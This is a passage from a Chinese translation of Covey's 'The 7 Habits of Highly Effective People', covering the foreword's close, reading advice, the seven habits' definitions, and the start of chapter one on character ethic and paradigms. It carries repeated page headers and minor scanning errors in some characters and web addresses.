境的牺牲品,屈服于宿命论带来的厄运时,我们就 丢弃了希望,抛却了理想,习惯了听天由命,选择 了停滞不前。‚我是微不足道的小人物,似傀儡,又 像车轮上的小齿轮,面对现实,我无能为力,请告 诉我该怎么做。‛很多聪明能干的人都遭遇过这种滑 铁卢般的心路历程,并饱尝各种挫折以及随之而来 的消沉。流行文化提倡的生存之道是犬儒主义—— ‚不要对生活期望过高,这样你就不会对周围的人 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 21 ~ 或事失望。‛相反,历史上那些鼓励人们怀抱希望、 励志成长的原则却提倡‚我就是我生命的创造力‛。 缺乏人生平衡 现代社会,资讯发展一日千里,生活日益复杂 多元,对人要求更为苛刻,让人感觉更加紧迫和心 力交瘁。尽管我们付出良多,尽量有效地利用时间, 努力工作,积极选取,并利用现代科技不断提高效 率,然而让人不解的是,我们越来越陷在一些鸡毛 蒜皮的小事上不能自拔,而把健康、家庭、品德以 及许多重要的事情放在了工作之后,舍本逐末。我 们不能把问题归咎于工作,或社会的复杂和变迁, 而在于我们的流行文化提倡:‚早来,晚走,高效, 从现在起就要懂得牺牲‛——可事实上,心灵的平 和宁静远非这些技巧所能带来的,而是取决于人们 是否明白什么是最重要的事情,是否懂得轻重缓急, 并能抓住生活的重点。客观地面对现实。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 22 ~ “我的定位在哪儿” 我们的文化倡导,如想从生活中有所收获,必 须‚独占鳌头‛。也就是说‚生命是场游戏,是次比 赛,是种竞争,所以,你必须要赢‛。同学、同事甚 至家人都被当做竞争对手——你周围的人得到的越 多,留给你的就越少。当然,在表面上,我们尽力 表现大度,为他人的成功喝彩,而私底下,在心灵 最深处的某个角落,却为他人的成就唏嘘不已。人 类文明史上,许多杰出成就或攸关事件常常由某个 铁腕人物的决绝意志来成就。但是,在知识时代, 千载难逢的机遇和卓越的成就,通常是留给那些深 谙什么是‚我们‛——团队精神——的人们。真正 的大事业,通常只会由思维开阔、内涵丰富的头脑, 经由忘我的合作精神——互敬和双赢——取得。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 23 ~ 渴望理解 在人们心灵深处,没有比渴望理解更强烈的需 要了——希望他人聆听、尊重、重视自己的声音, 希望能影响别人。大多数人认为,要具备影响力, 关键在于良好的沟通——明白无误地表达自己的观 点,并让言谈有理有据。事实上,稍加思索,你就 会发现,别人在诉说时,你并非努力聆听并试图理 解对方,而常常是忙于准备,看自己接下来该怎么 说。而影响力的初显,始于他人发觉你正在受他们 影响。当对方感觉你敞开心扉,虔诚地聆听,并理 解他们的时候,他们就感觉自己有了影响力。但大 多数人的情绪易受他人左右,无法专注地聆听—— 他们无法在说出自己的想法前,先把自己的事情搁 臵一旁,倾尽全力来理解对方的想法。我们的文化 迫切需要,甚至苛求这种理解力和影响力。可是, 影响力是以互相理解为前提的,而互相理解基于谈 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 24 ~ 话者全心投入地做一个专注、主动的聆听者,至少 谈话一方要首先学会聆听。 冲突和分歧 人们是如此的相似,又是那样的不同。思维方 式不同,价值观、动机和目标也不尽相同,有时甚 至是完全对抗的。毫无疑问,这些分歧带来了冲突。 面对这些分歧和冲突,社会倾向于用竞争的方法来 解决,强调‚全力以赴,赢得胜利‛。尽管巧妙地利 用‚折衷‛的办法取得了一定的成效,即在追逐目 标过程中,在彼此都能接受的程度上互相妥协,但 结局通常是双方失望而归。这些分歧驱使人们机械 地、平均化地接纳双方仅有的共同特征,这是一种 多么巨大的浪费!而且人们也没能充分利用创造性 合作,找到比任何一方的最初想法都好的解决办法, 这又是一种多么巨大的浪费! [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 25 ~ 个人的停滞不前 人的本质是四维的——身体、精神、智力、社 会,情感。请比较以下两种问题解决方式(分别依据 现有文化倾向和原则)的区别和效果: 请你不仅要把人类的普遍苦难铭记于心,也要 把自己的实际需要和磨难牢记于心。只有这样,你 才会获得一种长久的解决办法,并明了生活的方向。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 26 ~ 同时,你会发现,流行文化提倡的方法和永恒的、 千百年沉淀下来的、原则性很强的方法的差距将渐 行渐远。 最后,我想重复强调一个问题,在我教学中经 常提及的问题:有多少人在弥留之际,希望自己花 更多的时间工作或看电视?没有一个人希望这样。 此时,人们想到的是爱人、家人和他们付出过 爱心的人。 即使最伟大的心理学家亚伯拉罕〃马斯洛 (Abraham Maslow),在生命的最后,也把幸福感、 成就感和对后人的福祉臵于‚自我实现‛(这是他著 名的‚需求层次理论‛的最高级别)之上,他称之为 ‚自我超越‛。 对此,我心有戚戚焉。目前,七个习惯中提到 的原则和法则,带给我最满足、最深刻的感受是, 我的儿孙后代正着实感知,并在生活中身体力行这 些原则和法则。 我们的孩子都已成家,他们和另一半一起,渐 渐地形成了以服务他人为核心,以这些原则为基础 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 27 ~ 的人生规划。看到孩子们走上了这样的人生旅程, 我们感到莫大的欣慰和幸福。 我敢说,当你开始阅读《高效能人士的七个习 惯》时,你已经开始了一段激动人心的成长历程。 请和你所爱的人分享你的收获,最重要的,是在生 活中开始践行它们。记住,只学不做等于没学,只 知不做也等于无知。 就我而言,身体力行这七个习惯是个不断挣扎 的过程。最主要的原因是,你做得越好,就会发现 面对的问题变得越复杂,好像一些运动规则一样, 例如滑雪、高尔夫、网球或者其他运动。因为我每 天都努力地工作,并在生活中全力实践七个原则蕴 涵的真理,所以我真诚地渴望和你一起,共度这段 激动人心的成长历程。 史莘务〃柯维 stephen,covey@franklincovey,com www.stephencovey,corn [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 28 ~ 如何善用本书 在正式讨论高效能人士的七个习惯之前,我想 建议读者先建立两个新观念,这将使你阅读本书的 收益大为增加。 首先,我建议各位不要对本书等闲视之,大略 读过便束之高阎。当然,你不妨从头到尾浏览一遍, 以了解全书梗概。不过我希望在你改进自我的成长 过程中,本书能时时与你为伴。本书在编排方式上 分成几个循序渐进的章节,便于读者随时参阅并付 诸行动。即使你已对书中的原则观念得心应手,还 是可以不时翻阅,或许会有更多的体会与收获。 其次,我建议你改以老师的角色来阅读,除了 吸收还要能复述。在阅读过程中,应有心理准备, 预计在 48 小时以内,与人分享或讨论读书心得。 我相信心态不同,阅读的成效就会两样。比方 你知道将要在 48 小时内,向别人讲解本书提到的产 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 29 ~ 出,产能平衡原则(P/PC Balance Principle),你 的阅读成效定会有所不同。现在你就可以假定今天 或明天,要趁记忆犹新之际,把本章最后一节的主 旨告诉家人、朋友或同事。然后试着比较一下,感 觉有何差别。 我保证,这种阅读方式可以增强记忆、加深体 会、扩大视野,而且会有更强烈的动机去运用本书 所讲述的原则。同时,开诚布公地与人分享读书心 得,可以改变形象,赢得友谊,甚至为你带来一群 实践七个习惯的同伴。 你将收获什么 我要借用美国作家弗格森(Marilyn Ferguson) 的一段话: 谁也无法说服他人改变,因为我们每个人都守 着一扇只能从内开启的改变之门,不论动之以情或 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 30 ~ 说之以理,我们都不能替别人开门。 倘若你已决定打开‚改变之门‛,接纳本书所 阐扬的观念,那么我保证,你会得到以下的收获。 首先你的成长过程虽是渐进的,效果却是革命性的。 你将会认同,仅产出,产能平衡这一项原则,如果 得到充分应用,就会使大多数个人和企业发生变化。 前三个有关个人成功的习惯,可以大幅提高你的自 信。你将更能认清自己的本质、内心深处的价值观 以及个人独特的才干与能耐。凡是秉持自己的信念 而活,就能产生自尊自重与自制力,并且内心平和。 你会以内在的价值标准,而不是旁人的好恶或与别 人比较的结果,来衡量自己。这时候,事情对错与 别人是否发现无关。 你还会意外地发现,当你不再介意别人怎样看 你时,反而会去关心别人对他们自身、他们所处环 境以及与你关系的看法。你不再让别人影响情绪, 反而更能接受改变,因为你发现有一些恒久不变的 内在本质,可以作为支柱。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 31 ~ 至于追求公众成功的三个习惯,能够帮助你重 建以往恶化,甚至断绝了的人际关系。原本不错的 交情则更为巩固。 习惯七可加强前面六个习惯,时时为你充电, 达到真正的独立与成功的互赖。 不论你的现况如何,都请相信你与你的习惯是 两码事,你有能力改变不良旧习,代之以意味着高 效、幸福和互信的人际关系的新习惯。 我真心地希望你能打开自己的‚改变之门‛, 在学习这些习惯的过程中不断成长和进步。对自己 要有耐心,因为自我成长是神圣的,同时也是脆弱 的,是人生中最大规模的投资。虽然这需要长时间 下功夫,但是必定会有鼓舞人心的直接收益。诚如 美国开国初期政治思想家佩因(Thomas Paine)所说: 得之太易者必不受珍惜。唯有付出代价,万物 始有价值。上苍深知如何为其产品制订合理的价格。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 32 ~ 七个习惯的简要定义与架构图 习惯一:积极主动(BE PROACTIVE) 主动积极即采取主动,为自己过去、现在及未 来的行为负责,并依据原则及价值观,而非情绪或 外在环境来下决定。主动积极的人是改变的催生者, 他们扬弃被动的受害者的角色,不怨怼别人,发挥 了人类四项独特的秉赋——自觉、良知、想象力和 自主意志,同时以由内而外的方式来创造改变,积 极面对一切。他们选择创造自己的生命,这也是每 个人最基本的决定。 习惯二:以终为始(BEGIN WITH THE END IN MIND) 所有事物都经过两次的创造——先是在脑海里 酝酿,其次才是实质的创造。个人、家庭、团队和 组织在做任何计划时,均先拟出愿景和目标,并据 此塑造未来,全心投注于自己最重视的原则、价值 观、关系及目标之上。对个人、家庭或组织而言, [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 33 ~ 使命宣言可以说是愿景的最高形式,它是主要的决 策,主宰了所有其他的决定。领导工作的核心,就 是在共有的使命、愿景和价值观之后,创造出一个 文化。 习惯三:要事第一(PUT FIRST THINGS FIRST) 要事第一即实质的创造,是梦想(你的目标、 愿景、价值观及要事处理顺序)的组织与实践。次 要的事不必摆在第一,要事也不能放在第二。无论 迫切性如何,个人与组织均针对要事而来,重点是, 把要事放在第一位。 习惯四:双赢思维(THINK WIN/WIN) 双赢思维是一种基于互敬,寻求互惠的思考框 架与心意,目的是更丰盛的机会、财富及资源,而 非敌对式竞争。双赢即非损人利已(赢输),亦非损 已利人(输赢)。我们的工作伙伴及家庭成员要从互 赖式的角度来思考(“我们”,而非“我”)。双赢思 维鼓励我们解决问题,并协助个人找到互惠的解决 方法,是一种资讯、力量、认可及报酬的分享。 习惯五:知彼解己(SEEK FIRST TO UNDERSTAND, [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 34 ~ THEN TO BE UNDERSTOOD) 当我们舍弃回答心,改以了解心去聆听别人, 便能开启真正的沟通,增进彼此关系。对方获得了 解后,会觉得受到尊重与认可,进而卸下心防,坦 然而谈,双方对彼此的了解也就更流畅自然。知彼 需要仁慈心,解己需要勇气,能平衡两者,则可大 幅提升沟通的效率。 习惯六:统合综效(SYNERGIZE) 统合综效谈的是创造第三种选择——即非按照 我的方式,亦非遵循你的方式,而是第三种远胜过 个人之见的方法。它是互相尊重的成果——不但是 了解彼此,甚至是称许彼此的差异,欣赏对方解决 问题及掌握机会的手法。个人的力量是团队和家庭 统合综效的利基,能使整体获得一加一大于二的成 效。实践统合综效的人际关系和团队会扬弃敌对的 态度(1+1=1/2),不以妥协为目标(1+1=3/2),也 不仅止于合作(1+1=2),他们要的是创造式的合作 (1+1>2)。 习惯七:不断更新(SHARPEN THE SAW) [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 35 ~ “不断更新”谈的是,如何在四个基本生活面 向(身体、精神、智力、社会/情感)中,不断更新 自己。这个习惯提升了其他六个习惯的实施效率。 对组织而言,习惯提供了愿景、更新及不断的改善, 使组织不至呈现老化及疲态,并迈向新的成长之径。 对家庭而言,习惯七透过固定的个人及家庭活动, 使家庭效能升级,就像建立传统,使家族日新月异, 即是一例。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 36 ~ 第一部分 重新探索自我 第一章 由内而外全面造就自己 品德成功论提醒人们,高效能的生活是有基本 原则的,只有当人们学会并遵循这些原则,把它们 融入到自己的品德中去,才能享受真正的成功与恒 久的幸福。 没有正确的生活,就没有真正卓越的人生。 ——戴维·斯塔·乔丹(David Start Jordan) 美国生物学家及教育家 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 37 ~ 你离卓越的人生有多远?你有以下困惑和苦恼 吗? ◆我的事业十分成功,但却牺牲了个人生活和 家庭生活。不但与妻儿形同陌路,甚至无法肯定自 己是否真正了解自己,是否了解什么才是生命中最 重要的。 ◆我很忙,确实很忙,但有时候我自己也不清 楚是否有价值。我希望生活得有意义,能对世界有 所贡献。 ◆我上过无数关于有效管理的课程,我对员工 的期望很高,也想尽办法善待他们,但就是感觉不 到他们的忠心。我想如果我有一天生病在家,他们 一定会无所事事,闲聊度日。为什么我无法把他们 训练得独立而负责呢?为什么我总是找不到这样的 员工呢? ◆要做的事太多了,我总是感到时间不够用, 觉得压力沉重,终日忙忙碌碌,一周 7 天,天天如 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 38 ~ 此。我参加过时间管理研讨班,也尝试过各种安排 进度计划的工具。虽然也有点帮助,但我仍然觉得 无法像我希望的那样,过上快乐、高效而平和的生 活。 ◆看到别人有所成就,或获得某种认可,表面 上我会挤出微笑,热切地表示祝贺,可是,内心却 难受得不得了。为什么我会有这种感觉? ◆我个性很强。几乎在任何交往中,我都能控 制结果。多数情况下,我甚至可以设法影响他人通 过我想要的决议。我仔细考虑了每种情况,并且坚 信我的建议通常都是对大家最好的。但是我仍感到 不安,我很想知道,他人对我的为人和建议到底是 何态度。 ◆我的婚姻已变得平淡无趣。我们并没有恶言 相向,更没有大打出手,只是不再有爱的感觉。我 们请教过婚姻顾问,也试过许多办法,但看来就是 无法重新燃起往日的爱情之火。 ◆我那十来岁的儿子不听话,还打架。不管我 怎么努力,他就是不听我的话,我该怎么办呢? [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 39 ~ ◆我想教育孩子懂得工作的价值。但每次要他 们做点什么,都要时时刻刻在旁监督,还得忍受他 们不时的抱怨,结果还不如自己动手来得简单。为 什么孩子们就不能不要我提醒,快快乐乐地料理自 己的事呢? ◆我又开始节食了——今年的第五次。我知道 自己体重超标,也确实想有所改变。我阅读所有最 新的资料,确定目标,并采取积极的态度激励自己, 但我就是做不到,几周后就溃败了。看来我就是无 法信守诺言。 这些都是我在任职咨询顾问和大学教师期间遇 到的一些普遍而又深层次的问题,不是一两天就能 解决的。 几年前,我和妻子桑德拉就为类似的问题大伤 脑筋。我们的一个儿子学习成绩很差,甚至看不懂 试卷上的问题。他与同学交往时也很不成熟,经常 弄得周围的人很尴尬。他又瘦又小,动作也不协调。 打棒球时,他往往在投手投球之前就挥动了球棒, [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 40 ~ 招来他人的嘲笑。 我和桑德拉觉得,若要十全十美,首先要做完 美的父母。于是我们尝试用积极的态度来激发他的 自信心:“加油,孩子,你能办得到!我们知道你行! 手握高一点,看着球,等球快到面前再挥棒。”只要 他稍有进步,我们就大夸一番以增强他的信心:“干 得好,孩子,继续。” 尽管如此,还是引来了嘲笑,我们对此大加斥 责:“别笑,他还在学习呢。”而这时我们的儿子却 总是哭着说:“我永远也学不好,我根本就不喜欢棒 球!” 所有的努力似乎都徒劳无功,那时我们真是心 急如焚,看得出来这一切反而伤害了他的自尊心。 开始我们总能对他加以肯定、鼓励和帮助,可是一 再失败后,还是放弃了,只能试着从另一个角度来 看待。 后来,在讲授有关沟通与认知的课程中,我对 思维定式的形成,思维定式如何影响观点,观点又 如何左右行为等问题深感兴趣,并进一步研究了预 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 41 ~ 期理论(Expectancy Theory)、自我实现预言(Self — fulfilling Prophecy) 和 皮 格 马 利 翁 效 应 (Pygmalion Effect)。从中我意识到,每个人的思 维定式都是那么根深蒂固,仅仅研究世界是不够的, 还要研究我们看世界时所戴的“透镜”,因为这透镜 (即思维定式)往往左右着我们对世界的看法。 我跟桑德拉谈到这些想法,并借此分析我们的 困境,终于认识到我们对儿子往往言不由衷。自省 后我们承认,内心深处的确觉得儿子在某些方面“不 如常人”。所以不论我们多么注意自己的态度与行为, 其效果都是有限的,因为表面的言行终究掩饰不住 其背后的信息,那就是:“你不行,你需要父母的保 护。” 此时我们才开始觉悟:要改变现状,首先要改 变自己;要改变自己,先要改变我们对问题的看法。 品德与个人魅力孰重 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 42 ~ 当时我正潜心研究自 1776 年以来美国所有讨 论成功因素的文献。我阅读或浏览过的论著不下数 百,论题遍及自我完善、大众心理学以及自我帮助 等等。对于爱好自由民主的美国人民所公认的赢得 成功的种种关键因素,已算得上了如指掌。 从这 200 年来的作品中,我注意到一个令人诧 异的趋势。前 150 年的论著强调“品德(Character Ethic)”为成功之本——如诚信、谦虚、忠诚、节 欲、勇气、公正、耐心、勤勉、朴素和一些称得上 是金科玉律的品德。本杰明·富兰克林(Benjamin Franklin)的自传就是这个时期的代表作,它主要描 述一个人如何努力进行品德修养。 然而第一次世界大战后不久,人们对成功的基 本观念改变了。由重视“品德”转而强调“个人魅 力(Personality Ethic)”,即认为成功与否更多取 决于性格、社会形象、行为态度、人际关系以及长 袖善舞的圆熟技巧。这种思潮朝两大方向发展:一 是着重人际关系与公关技巧;二是鼓吹积极进取的 心态。由此衍生的行为和习惯,有些的确是金科玉 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 43 ~ 律,例如“态度决定成败”、“微笑比皱眉更能赢得 朋友”以及“有志者事竟成”等等。但另一些却显 然是玩弄手段,甚至是欺骗性的。例如运用技巧赢 得好感,假装对他人感兴趣以套取情报,或虚张声 势,甚至以威胁手段达到目的。 因此,近 50 年来讨论成功术的著作都很肤浅, 谈的都是如何树立社会形象的技巧和如何成功的捷 径。但这种用“阿斯匹林”和“创可贴”来治疗心 灵痛苦的方法,往往是头痛医头,脚痛医脚,治标 而不治本。有时似乎取得了暂时的效果,但是深层 次的问题没有解决,不时又会重新浮现。 我终于了解,过去我与桑德拉潜意识里都受到 这种速成观念的影响,才会对儿子采取上述做法。 在我们心目中,这个孩子有失颜面,我们重视成为 模范父母,维持良好形象,更甚于对孩子的关切, 这种心态也影响到了对孩子的看法。的确,在看待 与处理这个问题时,我们偏重许多其他因素,反而 忽略了孩子的幸福与快乐。 一方面,因为好面子,我们给予孩子的不是无 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 44 ~ 条件的关爱,造成了他自我评价的低落。所以我们 决定从自身下功夫,不再讲究技巧,而是着重调整 内心的真正动机和对孩子的看法。我们不再设法改 变他,转而从客观的角度去发现和了解他的特色、 个性与价值。 另一方面,我们也自觉地改变了自己的动机, 培育了内在的安全感,不再用孩子的表现来判断自 己的价值。 一旦摆脱了过去对孩子的看法,培育了基于价 值观的动机,我们顿时感到一种新气象——不必再 拿孩子与旁人比较,不必把固定的社会模式强加在 他身上,这样反而能够平心静气地欣赏他的优点。 我们相信他有能力应付人生的种种挑战,也就不急 于保护他免受外界的嘲笑。 可是孩子已习惯于接受保护,因此一开始表现 得相当畏缩。他向我们求援,但我们只是认真聆听, 不一定如他预期地回应。这无形中传达了一个信息: “父母不用保护你,你没问题!” 几个月过去了,他渐渐有了信心,也开始肯定 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 45 ~ 自我价值,终于以自己的速度与步调发挥出了潜能。 不论在学业、运动场还是社交场合上,以一般社会 标准来衡量,他的表现都是相当杰出的。这一切都 发生在转念之间,远远超过了所谓的自然发展速度。 后来他还当选学生社团领导、州运动员,门门成绩 优秀。另外,他还锻炼出了坦诚、热心的性格,走 到哪儿都能与人融洽相处。 我和桑德拉都相信,这个孩子“出人头地”的 成就中,自动自发因素的作用要多于外在影响。这 是前所未有的经验,对我们教育子女以及扮演其他 角色很有启发作用,也使我们体验到凭借品德和个 人魅力成功的天壤之别。赞美诗中唱得好:努力探 寻你自己的心灵吧,因为生活源自于此。 光有技巧还不够 从教育儿子的经验、对人们认知过程的研究以 及成功论著的阅读中,我顿悟了品德的强大影响力, [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 46 ~ 也认清了自己从小所学并且深植于心的价值观,其 实与现在流行的追求捷径的速成哲学相去甚远,而 这种差异经常被有意地忽略。多年来我一直向他人 传授七个习惯,自信十分有效,却总是发现这些知 识与流行的思潮不同甚至相逆,现在终于对个中原 因有了深一层的领会。 我并非暗示个人魅力论所强调的因素不具效用, 比如个人成长、沟通技巧方面的训练,积极思维和 影响力方面的教育等,有时确实是成功的要素,但 只居于次要,而非主要地位。或许我们在前人的基 础上施展个人能力时,太过注重造就自己,却忽略 了前人基础的支撑;也或许我们习惯坐享其成,遗 忘了耕耘的必要。 即使我可以玩弄手段使他人投我所好,为我卖 力,因我发奋,和我%陧惺相惜”,然而一旦我品德 有缺陷——比如言不由衷、虚情假意,就无法获得 长远的成功。因为言不由衷难免遭人怀疑,任何行 事都会被视为别有用心,就算所谓的人际关系技巧 也无济于事。任凭你巧舌如簧,动机纯良,只要没 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 47 ~ 有或者缺乏信任感,就不要说什么永久的成功。只 有心存善念,才能赋予人际关系技巧以生命。 只重技巧就仿佛考前临时抱佛脚,纵使有时顺 利过关,甚至成绩还不错,但没有日积月累的付出, 绝对无法学得精通。 试想如果耕种也临时抱佛脚会有多荒谬。春天 忘了播种,夏天忙着享乐,秋天能收获什么呢?耕种 是一个自然体系,必须付出代价,一步二步完成。 一分耕耘,一分收获,没有捷径可循。 人类行为和人际关系也是基于收获法则的自然 系统。在暂时事,暂时蒙混过关;你也可以凭借个 人魅力八面玲珑,假扮他人知音,利用技巧赚取好 感。但在长久的人际关系中,单凭这些次要优势是 难有作为的。倘若没有根深蒂固的诚信和基本的品 德力量,那么生活的挑战迟早会让你真正的动机暴 露无遗,一时的成功就会被人际关系的破裂所替代。 许多人具备这些次要优势,是社会所认可的人 才,但是缺乏基本的品德,长期来看,他们与同事、 朋友、配偶或者孩子的人际关系早晚会出现问题。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 48 ~ 只有品德才是交流中最伶俐的“口齿”,正如爱默生 (Emerson)所说:“大声喧哗反而难以入耳。” 当然,也有品德有余却沟通技巧不足的人,但 即便人际关系质量因此受到影响,也是瑕不掩瑜。 归根到底,我们的本质要比言行更具说服力, 这个道理人人都懂。有些人是我们绝对信任的,因 为我们了解他的品德,不论他是否能说会道、擅长 交际,我们就是信任他们,而且能够与之合作顺畅。 威廉姆·乔治·乔登(William George Jordan)曾说: 人性可善可恶,冥冥中影响着我们的一生,而且总 是如实反映出真正的自我,那是伪装不来的。 思维定式的力量 本书包含人类效能的许多原则,是基本而首要 的,可永葆成功与幸福,放之四海皆准,不过,我 们必须先了解人类的思维定式以及如何实现思维定 式的转换,才能真正理解这七个习惯。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 49 ~ 先前提到的品德成功论与个人魅力论就是两种 典型的社会思维定式。“思维定式(Paradigm)”这个 词来自希腊文,最初是一个科学名词,现在多用来 指某种理论、模型、认知、假说或参考框架。但广 义上是指我们“看”世界的方法,这种“看”和视 觉无关,主要指我们的感知、理解与诠释。它是每 个人看待世界的方式,未必与现实相符。它是一份 地图,而非领域本身,是由每个人的成长背景、经 验及选择打造而成,我们会透过它来窥探万事万物。 为了方便理解,我们可以把思维定式比作地图。 我们都知道地图不代表地域,只是对地域的某些方 面进行说明。思维定式就是这样,它是关于某种事 物的理论、诠释或者模型。 假设你想去芝加哥中心区的某个地方,地图本 应该帮助你到达目的地,但是由于印刷问题,你得 到了一张标注为芝加哥,实际上却是底特律的地图。 你能想象无法到达目的地的那种沮丧和无助吗? 你可以改变行为,比如更努力,更勤奋,更迅 速,但是这种努力只会让你更快地到达错误的地点。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 50 ~ 你还可以改变态度,比如更加积极地思考,但你仍 然到不了正确的地点。或许你并不在乎,因为你抱 着积极的态度,不管到了哪里你都高兴。但关键是, 你还是走错路了。根本问题不在于你的行为和态度, 而在于那张错误的“地图”。 我们每个人脑中都有很多地图,可以分成两大 类:一类是依据世界本来面目绘制的地图,反映现 实情况;另一类是依据思维定式绘制的地图,反映 个人价值观。我们用这些地图诠释所有的经验,从 来都不怀疑地图的正确性,甚至意识不到它们的存 在。我们理所当然地假定自己的所见所闻就是真实 的世界。 我们的态度与行为皆源自这种假定,我们对事 物的看法决定着我们的思想与行为。 现在来做一个智力和情感的小测验,请花几秒 钟观察下面的图 1—1 和图 l—2,并仔细描述所看 到的形象。 你是否看到了一位女士?她的年龄大约多少?长 相如何?衣着如何?身份又如何? [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 51 ~ 或许你认为这位女士是个可爱的摩登女郎,鼻 子小巧,时尚靓丽。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 52 ~ 如果我说你看走眼了,这位女士已经六七十岁, 而且面带愁容,绝非模特儿,或许过马路时还需要 你扶她一把,你会有何反应? 如果我们能面对面地讨论,就可以互相交流自 己看到的画像的样子,直到对方也看到了自己所看 到的。 但是不行,所以只好请你看图 1—3,并将它与 图 l-2 对照。现在你能看到老妇人了吗?一定要看到 才能继续往下读,这很重要。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 53 ~ 多年以前我在哈佛商学院就读时,首次知道这 个实验。当年那位教授想借此说明不同的人对同一 件事会有不同的看法,并且都很正确。这不属逻辑 范畴,而是心理问题。 教授首先把两叠卡片分发给教室两边的同学, 其中一叠是图 1—1 的少妇像,另一叠是图 l—3 的 老妇像。他给我们 10 秒钟仔细看这些卡片,然后收 回。接着用投影仪给我们看综合了二者特点的画像, 即图 l--2,并要求全班都来描述。结果,事先看过 少妇像的,几乎一致认定这就是那位少妇;而先前 看到老妇像的同学,也都认为这是位老妇人。 这时教授请一边的同学向另一边的同学讲述他 所看到的并说明理由,双方各执己见: “别开玩笑,我看她不超过 20 岁,怎么可能是 个老太婆?” “你才开玩笑,她少说也有 70 岁了。” “她这么年轻、漂亮又可爱,我都想约会她了。” “可爱?她是个丑老太婆。” 你一言,我一语,双方始终争执不下,不肯服 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 54 ~ 输。大多数人都早就知道另一种可能性的存在,只 不过不愿意承认。只有少数同学从一开始就换了一 个角度来观察画像。 正当大家僵持不下的时候,有位同学走上前去, 指着画像上的一条线说:“这是少妇戴的项链。”另 一位马上反驳:“不,这是老妇人的嘴。”就这样, 大家开始逐一讨论画中的细节,在冷静而详细的讨 论过程中,同学们渐渐看到了另一方眼中的画像。 但只要把视线移开一下,再回头看时还是会认为那 是自己最初看到的样子,即当时在 10 秒钟之内看到 的形象。 在后来的工作中,我常常借用这个有关感知的 实验,因为它能使我们对人和人际关系的本质有更 透彻的认识。首先,它充分说明了条件作用对人类 认知和思维定式的强大影响力。连 l0 秒钟都能产生 如此这般的影响,更何况一生中的条件作用呢?家庭、 学校、教堂、单位、朋友、同事以及流行思潮(如个 人魅力论等),都在不知不觉中影响着我们,左右着 我们的思维定式——我们的地图。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 55 ~ 其次,这个实验还说明了思维定式是行为与态 度的源头,脱离了这个源头的言行就是表里不一, 言不由衷。以图 l—2 为例,如果你认为那是一位少 妇,自然想不到扶她过街,因为你对她的态度和行 为必定出自你对她的看法。 由此就凸显了个人魅力论的一个基本缺陷,即 仅仅改变表面上的行为与态度,却忽略作为源头的 思维定式,那么改变的成效一定有限。 这个实验还让我们体会到思维定式对人际交往 的影响。以前我们总以为只有自己清楚而客观地看 到了事物的本质,但这个实验却让我们开始认识到, 别人的观点虽然有异,但也是清楚而客观的。“立场 决定观点”。 这并不是说没有事实存在。在实验中,起初看 到不同图像的人,在图 1—2 中都看到了同样的白底 黑线条,这是他们共同承认的事实。只不过每个人 经验不同,诠释也不同,而一旦离开了诠释,事实 也就失去了它的意义。 我们越是认识到思维定式、地图或者假定以及 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 56 ~ 经验在我们身上的影响力,就越是能够对自己的思 维定式负责,懂得审视它,在现实中检测它,并乐 于聆听和接受别人的看法,从而获得更广阔的视野 和更客观的看法。 思维转换的力量 或许从这个实验中得到的最重要的启示应该是 思维转换,即某人从另一角度看问题的顿悟感。第 一印象的影响越深,顿悟的力量就越大,好比一瞬 间万道光芒把内心照亮。 “思维转换(Paradigm Shift) ”一词由托 马 斯·库恩(ThomasKuhn)在他的经典之作《科学革命 的结构》(舭 Structure ofScientific Revoluti0 船)一书中最先提出。库恩在书中阐释,科学研究的 每一项重大突破,几乎都是首先打破传统,打破旧 思维、旧模式才得以成功。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 57 ~ 